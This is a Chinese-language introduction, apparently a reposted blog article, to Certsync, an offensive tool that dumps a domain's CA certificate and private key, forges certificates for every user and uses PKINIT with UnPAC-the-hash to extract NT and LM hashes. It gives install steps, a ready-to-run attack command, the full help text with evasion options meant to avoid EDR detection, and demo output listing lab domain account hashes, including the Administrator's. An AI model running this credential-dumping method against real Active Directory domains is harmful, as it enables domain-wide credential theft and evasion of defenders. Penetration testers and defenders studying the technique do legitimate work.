如何使用Certsync遠(yuǎn)程轉(zhuǎn)儲(chǔ)NTDS黃金證書(shū)和UnPAC哈希
關(guān)于Certsync
Certsync是一種使用黃金證書(shū)和UnPAC哈希值來(lái)遠(yuǎn)程轉(zhuǎn)儲(chǔ)NTDS的新技術(shù)。在該工具的幫助下,廣大研究人員能夠輕松獲取目標(biāo)域控制器中的用戶列表、CA信息和CRL,并轉(zhuǎn)儲(chǔ)CA證書(shū)和私鑰。值得一提的是,在整個(gè)業(yè)務(wù)流程中,該工具不需要使用到DRSUAPI。除此之外,該工具的運(yùn)行速度也非常的快,效率非常高。
工具功能
1、從 LDAP 轉(zhuǎn)儲(chǔ)用戶列表、CA 信息和 CRL;
2、轉(zhuǎn)儲(chǔ) CA 證書(shū)和私鑰;
3、為每個(gè)用戶離線偽造證書(shū);
4、UnPAC 每個(gè)用戶的哈希以獲得 nt 和 lm 哈希;
為什么需要Certsync?
由于DSRUAPI(Domain Services Remote Protocol API)越來(lái)越受到EDR解決方案的監(jiān)控和限制,而Certsync則提供了一種繞過(guò)這些限制的新方法。與使用DSRUAPI不同,Certsync不需要域管理員權(quán)限,只需要CA管理員權(quán)限。
工具運(yùn)行要求
1、在域中有配置企業(yè)CA的ADCS(Active Directory Certificate Services)服務(wù)器;
2、PKINIT正常工作;
3、AD中有本地管理員域帳戶或?qū)С鯟A證書(shū)和私鑰;
工具安裝
由于該工具基于Python開(kāi)發(fā),因此我們首先需要在本地設(shè)備上安裝并配置好Python環(huán)境。
接下來(lái),廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
git clone https://github.com/zblurx/certsync
cd certsync
pip install .
或者直接使用pip安裝:
pip install certsync
工具使用
廣大研究人員可以通過(guò)下列方法直接運(yùn)行Certsync:
certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
上述命令將會(huì)連接到LDAP服務(wù)器,收集用戶列表、CA信息和CRL。然后,它會(huì)找到CA證書(shū)和私鑰,并為每個(gè)用戶生成偽造證書(shū)。最后,它會(huì)使用UnPAC算法獲取用戶的nt和lm哈希值。
工具幫助信息
可以使用-h參數(shù)查看所有可用選項(xiàng)和用法示例:
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username] [-p password] [-hashes LMHASH:NTHASH]
[-no-pass] [-k] [-aesKey hex key] [-use-kcache] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver] [-dns-tcp] [-dc-ip ip address]
[-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]
Dump NTDS with golden certificates and PKINIT
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-outputfile OUTPUTFILE
base output filename
CA options:
-ca-pfx pfx/p12 file name
Path to CA certificate
-ca-ip ip address IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP
authentication options:
-d domain.local, -domain domain.local
Domain name
-u username, -username username
Username
-p password, -password password
Password
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it
will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-use-kcache Use Kerberos authentication from ccache file (KRB5CCNAME)
-kdcHost KDCHOST FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection options:
-scheme ldap scheme
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
OPSEC options:
-ldap-filter LDAP_FILTER
ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
-template cert.pfx base template to use in order to forge certificates
-timeout timeout Timeout between PKINIT connection
-jitter jitter Jitter between PKINIT connection
-randomize Randomize certificate generation. Takes longer to generate all the certificates
OPSEC選項(xiàng)
Certsync提供了一些OPSEC選項(xiàng),可以自定義工具的行為:
-ldap-filter:更改用于選擇用戶名的LDAP過(guò)濾器;
-template:在偽造用戶證書(shū)時(shí)使用指定的證書(shū)模板;
-timeout和-jitter:調(diào)整PKINIT連接之間的超時(shí)和間隔時(shí)間;
-randomize:隨機(jī)化證書(shū)生成過(guò)程,使每個(gè)偽造的用戶證書(shū)具有不同的私鑰、序列號(hào)和有效期,但會(huì)增加生成時(shí)間;
使用這些選項(xiàng)可以根據(jù)廣大研究人員的功能需求自定義Certsync工具的功能。
工具運(yùn)行演示
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
許可證協(xié)議
本項(xiàng)目的開(kāi)發(fā)與發(fā)布遵循MIT開(kāi)源許可證協(xié)議。
項(xiàng)目地址
Certsync:【GitHub傳送門】
參考資料
https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/
https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash